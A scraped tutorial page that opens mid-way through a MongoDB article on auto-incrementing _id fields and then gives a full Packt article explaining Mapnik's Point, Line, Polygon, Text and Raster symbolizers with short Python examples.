will keep the last used value in the sequence. To increment the sequence, first we should query the last used value. After this, we can use the operator $inc to increment the value. There is a collection called system.js that can keep the JavaScript code in order to reuse it. Be careful not to include application logic in this collection. Let's see an example for this method: db.counters.insert( { _id: "userid", seq: 0 } ) function getNextSequence(name) { var ret = db.counters.findAndModify( { query: { _id: name }, update: { $inc: { seq: 1 } }, new: true } ); return ret.seq; } db.users.insert( { _id: getNextSequence("userid"), name: "Sarah C." } ) The optimistic loop The generation of the _id field by an optimistic loop is done by incrementing each iteration and, after that, attempting to insert it in a new document: function insertDocument(doc, targetCollection) { while (1) { var cursor = targetCollection.find( {}, { _id: 1 } ).sort( { _id: -1 } ).limit(1); var seq = cursor.hasNext() ? cursor.next()._id + 1 : 1; doc._id = seq; var results = targetCollection.insert(doc); if( results.hasWriteError() ) { if( results.writeError.code == 11000 /* dup key */ ) continue; else print( "unexpected error inserting data: " + tojson( results ) ); } break; } } In this function, the iteration does the following: Searches in targetCollection for the maximum value for _id. Settles the next value for _id. Sets the value on the document to be inserted. Inserts the document. In the case of errors due to duplicated _id fields, the loop repeats itself, or else the iteration ends. The points demonstrated here are the basics to understanding all the possibilities and approaches that this tool can offer. But, although we can use auto-incrementing fields for MongoDB, we must avoid using them because this tool does not scale for a huge data mass. Summary In this article, you saw how to build documents in MongoDB, examined their characteristics, and saw how they are organized into collections. Resources for Article: Further resources on this subject: Apache Solr and Big Data – integration with MongoDB [article] About MongoDB [article] Creating a RESTful API [article]

0
0
2397

Packt

18 Jun 2015

8 min read

Symbolizers

Packt

18 Jun 2015

8 min read

In this article by Erik Westra, author of the book, Python Geospatial Analysis Essentials, we will see that symbolizers do the actual work of drawing a feature onto the map. Multiple symbolizers are often used to draw a single feature. There are many different types of symbolizers available within Mapnik, and many of the symbolizers have complex options associated with them. Rather than exhaustively listing all the symbolizers and their various options, we will instead just look at some of the more common types of symbolizers and how they can be used. (For more resources related to this topic, see here.) PointSymbolizer The PointSymbolizer class is used to draw an image centered over a Point geometry. By default, each point is displayed as a 4 x 4 pixel black square: To use a different image, you have to create a mapnik.PathExpression object to represent the path to the desired image file, and then pass that to the PointSymbolizer object when you instantiate it: path = mapnik.PathExpression("/path/to/image.png") point_symbol = PointSymbolizer(path) Note that PointSymbolizer draws the image centered on the desired point. To use a drop-pin image as shown in the preceding example, you will need to add extra transparent whitespace so that the tip of the pin is in the middle of the image, like this: You can control the opacity of the drawn image by setting the symbolizer's opacity attribute. You can also control whether labels will be drawn on top of the image by setting the allow_overlap attribute to True. Finally, you can apply an SVG transformation to the image by setting the transform attribute to a string containing a standard SVG transformation expression, for example point_symbol.transform = "rotate(45)". Documentation for the PointSymbolizer can be found at https://github.com/mapnik/mapnik/wiki/PointSymbolizer. LineSymbolizer A mapnik.LineSymbolizer is used to draw LineString geometries and the outlines of Polygon geometries. When you create a new LineSymbolizer, you would typically configure it using two parameters: the color to use to draw the line as a mapnik.Color object, and the width of the line, measured in pixels. For example: line_symbol = mapnik.LineSymbolizer(mapnik.Color("black"), 0.5) Notice that you can use fractional line widths; because Mapnik uses anti-aliasing, a line narrower than 1 pixel will often look better than a line with an integer width if you are drawing many lines close together. In addition to the color and the width, you can also make the line semi-transparent by setting the opacity attribute. This should be set to a number between 0.0 and 1.0, where 0.0 means the line will be completely transparent and 1.0 means the line will be completely opaque. You can also use the stroke attribute to get access to (or replace) the stroke object used by the line symbolizer. The stroke object, an instance of mapnik.Stroke, can be used for more complicated visual effects. For example, you can create a dashed line effect by calling the stroke's add_dash() method: line_symbol.stroke.add_dash(5, 7) Both numbers are measured in pixels; the first number is the length of the dash segment, while the second is the length of the gap between dashes. Note that you can create alternating dash patterns by calling add_dash() more than once. You can also set the stroke's line_cap attribute to control how the ends of the line should be drawn, and the stroke's line_join attribute to control how the joins between the individual line segments are drawn whenever the LineString changes direction. The line_cap attribute can be set to one of the following values: mapnik.line_cap.BUTT_CAP mapnik.line_cap.ROUND_CAP mapnik.line_cap.SQUARE_CAP The line_join attribute can be set to one of the following: mapnik.line_join.MITER_JOIN mapnik.line_join.ROUND_JOIN mapnik.line_join.BEVEL_JOIN Documentation for the LineSymbolizer class can be found at https://github.com/mapnik/mapnik/wiki/LineSymbolizer. PolygonSymbolizer The mapnik.PolygonSymbolizer class is used to fill the interior of a Polygon geometry with a given color. When you create a new PolygonSymbolizer, you would typically pass it a single parameter: the mapnik.Color object to use to fill the polygon. You can also change the opacity of the symbolizer by setting the fill_opacity attribute, for example: fill_symbol.fill_opacity = 0.8 Once again, the opacity is measured from 0.0 (completely transparent) to 1.0 (completely opaque). There is one other PolygonSymbolizer attribute which you might find useful: gamma. The gamma value can be set to a number between 0.0 and 1.0. The gamma value controls the amount of anti-aliasing used to draw the edge of the polygon; with the default gamma value of 1.0, the edges of the polygon will be fully anti-aliased. While this is usually a good thing, if you try to draw adjacent polygons with the same color, the antialiasing will cause the edges of the polygons to be visible rather than combining them into a single larger area. By turning down the gamma slightly (for example, fill_symbol.gamma = 0.6), the edges between adjacent polygons will disappear. Documentation for the PolygonSymbolizer class can be found at https://github.com/mapnik/mapnik/wiki/PolygonSymbolizer. TextSymbolizer The TextSymbolizer class is used to draw textual labels onto a map. This type of symbolizer can be used for point, LineString, and Polygon geometries. The following example shows how a TextSymbolizer can be used: text_symbol = mapnik.TextSymbolizer(mapnik.Expresion("[label]"), "DejaVu Sans Book", 10, mapnik.Color("black")) As you can see, four parameters are typically passed to the TextSymbolizer's initializer: A mapnik.Expression object defining the text to be displayed. In this case, the text to be displayed will come from the label attribute in the datasource. The name of the font to use for drawing the text. To see what fonts are available, type the following into the Python command line: import mapnik for font in mapnik.FontEngine.face_names(): print font The font size, measured in pixels. The color to use to draw the text. By default, the text will be drawn in the center of the geometry; for example: This positioning of the label is called point placement. The TextSymbolizer allows you to change this to use what is called line placement, where the label will be drawn along the lines: text_symbol.label_placement = mapnik.label_placement.LINE_PLACEMENT As you can see, this causes the label to be drawn along the length of a LineString geometry, or along the perimeter of a Polygon. The text won't be drawn at all for a Point geometry, since there are no lines within a point. The TextSymbolizer will normally just draw the label once, but you can tell the symbolizer to repeat the label if you wish by specifying a pixel gap to use between each label: text_symbol.label_spacing = 30 By default, Mapnik is smart enough to stop labels from overlapping each other. If possible, it moves the label slightly to avoid an overlap, and then hides the label completely if it would still overlap. For example: You can change this by setting the allow_overlap attribute: text_symbol.allow_overlap = True Finally, you can set a halo effect to draw a lighter-colored border around the text so that it is visible even against a dark background. For example, text_symbol.halo_fill = mapnik.Color("white") text_symbol.halo_radius = 1 There are many more labeling options, all of which are described at length in the documentation for the TextSymbolizer class. This can be found at https://github.com/mapnik/mapnik/wiki/TextSymbolizer. RasterSymbolizer The RasterSymbolizer class is used to draw raster-format data onto a map. This type of symbolizer is typically used in conjunction with a Raster or GDAL datasource. To create a new raster symbolizer, you instantiate a new mapnik.RasterSymbolizer object: raster_symbol = mapnik.RasterSymbolizer() The raster symbolizer will automatically draw any raster-format data provided by the map layer's datasource. This is often used to draw a basemap onto which the vector data is to be displayed; for example: While there are some advanced options to control the way the raster data is displayed, in most cases, the only option you might be interested in is the opacity attribute. As usual, this sets the opacity for the displayed image, allowing you to layer semi-transparent raster images one on top of the other. Documentation for the RasterSymbolizer can be found at https://github.com/mapnik/mapnik/wiki/RasterSymbolizer. Summary In this article, we covered different types of symbolizers, which are available in the Mapnik library. We also examined that symbolizers which can be used to display spatial features, how the visible extent is used to control the portion of the map to be displayed, and how to render a map as an image file. Resources for Article: Further resources on this subject: Python functions – Avoid repeating code [article] Preparing to Build Your Own GIS Application [article] Server Logs [article]

0
0
3517

How to Build 12 Factor Microservices on Docker - Part 1

Querying and Filtering Data

JSON with JSON.Net

Introduction to ggplot2 and the plotting environments in R

Entering People Information

Using a REST API with Unity Part 1

Tuning server performance with memory management and swap

An Introduction to Reactive Programming

Animation Fundamentals

Securing Your Network using firewalld

Trending Topics

Moving Further with NumPy Modules

SQL Injection

The pandas Data Structures

Documents and Collections in Data Modeling with MongoDB

Symbolizers

Create a Free Account To Continue Reading

Sign in to activate your 7-day free access